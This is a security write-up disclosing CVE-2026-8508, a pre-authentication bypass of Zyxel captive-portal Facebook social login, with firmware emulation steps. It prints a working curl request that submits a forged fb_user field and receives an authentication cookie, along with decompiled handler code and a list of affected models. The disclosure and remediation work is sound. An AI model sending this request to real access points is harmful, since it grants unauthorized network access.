August 16, 2026

CVE-2026-8508: Zyxel captive-portal bypass via trusted browser-submitted Facebook identity + Full emulation guide

A pre-authentication trust-boundary flaw in Zyxel guest Wi-Fi social login let the browser handle the Facebook-side identity work and then hand the access point a set of profile fields that the backend accepted. The local analysis here was anchored on the WAX650S, while Zyxel's August 4, 2026 advisory expanded the scope to 39 models.

CVE-2026-8508 article image
Component/cgi-bin/social_login.cgi
SurfacePre-auth captive portal
Immediate proofSet-Cookie: authtok
Affected models39 models
Lab status Fully emulated device path

The WAX650S portal and social-login path in this writeup was developed on a full user-space AArch64 rehost built from vendor firmware. The repaired captive-portal lane reached /cgi-bin/social_login.cgi end-to-end without physical hardware.

Summary. In the reviewed firmware, userdata.html handled the Facebook-side token flow in browser-side JavaScript, derived identity client-side, and then submitted hidden fields such as fb_user to /cgi-bin/social_login.cgi. The backend accepted those fields on an auth-skip path and proceeded into local social-login handling, which is why a crafted request on the WLAN side could bypass the intended captive-portal social-authentication step.

At a glance

FieldValue
Product analyzed locallyZyxel WAX650S
Firmware analyzed locallyV7.10(ABRM.4)C0
Firmware SHA-256e0a93db912c0b7203e0eb899f07ddef99b62a82a27352477c0f85d761576b1e0
Entry path/userdata.html/cgi-bin/social_login.cgi
CVSS v3.16.5 Medium · AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Official WAX650S fixed version7.12(ABRM.0)C0
Official affected scope36 APs, 2 FWA7 models, 1 security router

The request that changed the picture

The shortest replay is the clearest one:

curl -i -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'fb_user=test@example.com' \
  http://[target]/cgi-bin/social_login.cgi

Observed result:

HTTP/1.1 200 OK

Set-Cookie: authtok=<redacted-token>; path=/; HttpOnly

Matching backend activity recorded in the workspace notes:

logger_handle_login: User ...: User test@example.com social login fb login.

A pre-auth request carrying attacker-chosen identity data reached guest-session handling and produced an authentication token.

That is the bypass in concrete terms: instead of proving Facebook identity server-side and then granting captive-portal access, the device accepted browser-submitted identity data and continued into the admission path.

The local path to that result came entirely from emulation: the portal lane first had to be repaired from repeated 500 failures into a stateful backend path, then a direct crafted POST to social_login.cgi succeeded once on that repaired lane and matched the same fb_user in the UAM logs and request/notify traces. Zyxel's later confirmation is what tied that behavior back to physical hardware impact.

Where the trust boundary broke

The frontend and backend line up in the wrong direction.

var str = parent.document.location.hash;
tmp = str.split("=");
tmp = tmp[1].split("&");
access_token = tmp[0];
url = "https://graph.facebook.com/me?fields=name,email&access_token=" + access_token;

document.getElementById("fb_user").value = useremail;
document.getElementById("form").submit();

The backend route was pre-authenticated by configuration:

auth_zyxel.AuthZyxelSkipPattern = (
    "/social_login.cgi",
    "/userdata.html",
    "/fbwifi_forward.cgi",
    "/fbwifi_auth.cgi",
    "/cloud_idp_login.cgi"
)

And the reviewed CGI accepted those fields directly:

local_8  = (...)(local_40,"fb_user",0);
local_28 = (...)(local_40,"fb_locale",0);
local_30 = (...)(local_40,"fb_age",0);
local_38 = (...)(local_40,"fb_gender",0);
...
printf("Set-Cookie: authtok=%s; path=/; HttpOnly\n", param_3);

The reviewed path did not perform server-side validation of a Facebook access token, OAuth code, state, nonce, or another proof object before the login flow continued.

What the backend trusted

Downstream reach

The local evidence in this workspace points beyond cosmetic labeling. The same identity family appears in UAM social-login admission logic, simultaneous-login handling, authenticated-station replication, foreign-station structures, and fauthd event handling.

Zyxel's May 22, 2026 response confirmed that the root cause was missing server-side validation of Facebook identity fields and that crafted unauthenticated requests could potentially bypass the social-authentication gate, allow unauthorized client admission, and affect downstream enforcement and station-replication structures on physical hardware.

Official affected scope

Zyxel's August 4, 2026 advisory lists 39 affected models for CVE-2026-8508 in total:

APs: IAP500BE, NWA30BE, NWA50AX, NWA50AX PRO, NWA50BE, NWA50BE PRO,
NWA55AXE, NWA55AX PRO, NWA55AX PTP, NWA55BE, NWA90AX, NWA90AX PRO,
NWA90BE, NWA90BE PRO, NWA110AX, NWA110BE, NWA130BE, NWA210AX, NWA210AXv2,
NWA210BE, NWA220AX-6E, NWA240BE, WAC500H, WAX300H, WAX510D, WAX610D,
WAX620D-6E, WAX630S, WAX640S-6E, WAX650S, WAX655E, WBE530, WBE510D,
WBE630S, WBE660S, WBE665S

FWA7: FWA7 Leaf Plus, FWA7 Root Plus
Security router: USG LITE 60AX

Remediation direction

The fix is to perform strict server-side validation of the Facebook access token before continuing the request. Identity fields such as fb_user, fb_locale, fb_age, and fb_gender can be metadata after verification. They cannot be the proof itself.

Emulation lab

This path was developed entirely from emulation. The helpers below show what each stage was for, what it was built with, and what a quick run should look like.

For the broader rehosting path and deeper emulation notes, see the public Zyxel WAX650S research notebook.

extract_710ABRM4C0.sh

Built with Bash. Uses dumpimage, fdtget, ubireader_extract_images, and unsquashfs.

What it does. Splits the vendor FIT image, extracts the root UBI volume, and unpacks the root filesystem that the portal path runs from.

./emulation/extract_710ABRM4C0.sh ./firmware.bin ./710ABRM4C0_extracted

Expected result: a bin_images/ tree, a rootfs/ directory, and terminal lines including Firmware: and Rootfs extracted to:.

prepare_zyxel_runroot.py

Built with Python 3.

What it does. Builds the runnable runroot with the writable files, symlinks, and stub paths the Zyxel userland expects.

python3 ./emulation/prepare_zyxel_runroot.py \
  --src ./710ABRM4C0_extracted/rootfs \
  --dst ./runroot

Expected result: a ready runroot/ tree with portal, WLAN, and service configuration paths prepared for boot.

run_zyxel_lab.sh + zyxel_bwrap_env.sh

Built with Bash. Uses qemu-aarch64-static, bwrap, and curl.

What it does. Boots the rehosted AArch64 userland and exposes the core and full portal phases for bring-up and health checks.

./emulation/run_zyxel_lab.sh rebuild --phase core
./emulation/run_zyxel_lab.sh health --phase core

Expected result: a healthy core lane, service state under .lab-state/, and a base web stack ready for portal repair.

seed_zyxel_ipc.py + UAM helpers

Built with Python 3. Shared helpers: uam_state.py, uam_unix_server.py, and uam_notify_server.py.

What it does. Seeds the IPC objects and fake UAM sockets that the portal path expects during social-login handling.

python3 ./emulation/seed_zyxel_ipc.py up
python3 ./emulation/uam_unix_server.py \
  --socket ./runroot/dev/user-request \
  --log ./live_artifacts/uam-user-request.log

Expected result: the IPC prerequisites exist, the socket appears under runroot/dev/, and UAM query traces accumulate in the chosen log file.

prepare_portal_runtime.py + repair_portal_config.py

Built with Python 3.

What it does. Hydrates the captive-portal theme, writes the synthetic runtime files the lab needs, and repairs /tmp/portal_config when the shipped path is still incomplete.

python3 ./emulation/prepare_portal_runtime.py \
  --runroot ./runroot \
  --mode synthetic-minimal \
  --theme THEME1 \
  --write-includes \
  --hydrate-assets \
  --bootstrap-state
python3 ./emulation/repair_portal_config.py \
  --runroot ./runroot \
  --theme THEME1

Expected result: captive-portal assets land under tmp/captive-portal/ and portal_config is present with a usable theme record.

force_portal_post_increment_refresh.sh + replay probes

Built with Bash and curl. Replay helpers: exercise_portal_flow.sh and social_login_portal_config_only_probe.sh.

What it does. Refreshes the portal runtime, replays the captive-portal sequence, and checks whether social_login.cgi issues authtok on the repaired lane.

./emulation/force_portal_post_increment_refresh.sh portal_refresh
./emulation/social_login_portal_config_only_probe.sh social_probe

Expected result: a live_artifacts/ case directory with captured headers and bodies, including a successful social-login response that sets authtok.

Tools used

qemu-aarch64-static

Executed the Zyxel AArch64 userland directly from the extracted firmware tree.

bubblewrap

Provided the bind-mounted runtime view for /proc, /sys, device files, and emulated sockets.

curl

Replayed the portal, click-through, and social-login requests and captured the emitted authtok proof.

Python 3 and Bash

Powered the helper scripts used for runroot preparation, portal repair, IPC seeding, and replay orchestration.

Firmware unpacking utilities

dumpimage, fdtget, ubireader_extract_images, and unsquashfs unpacked the vendor image into a reviewable root filesystem.

Timeline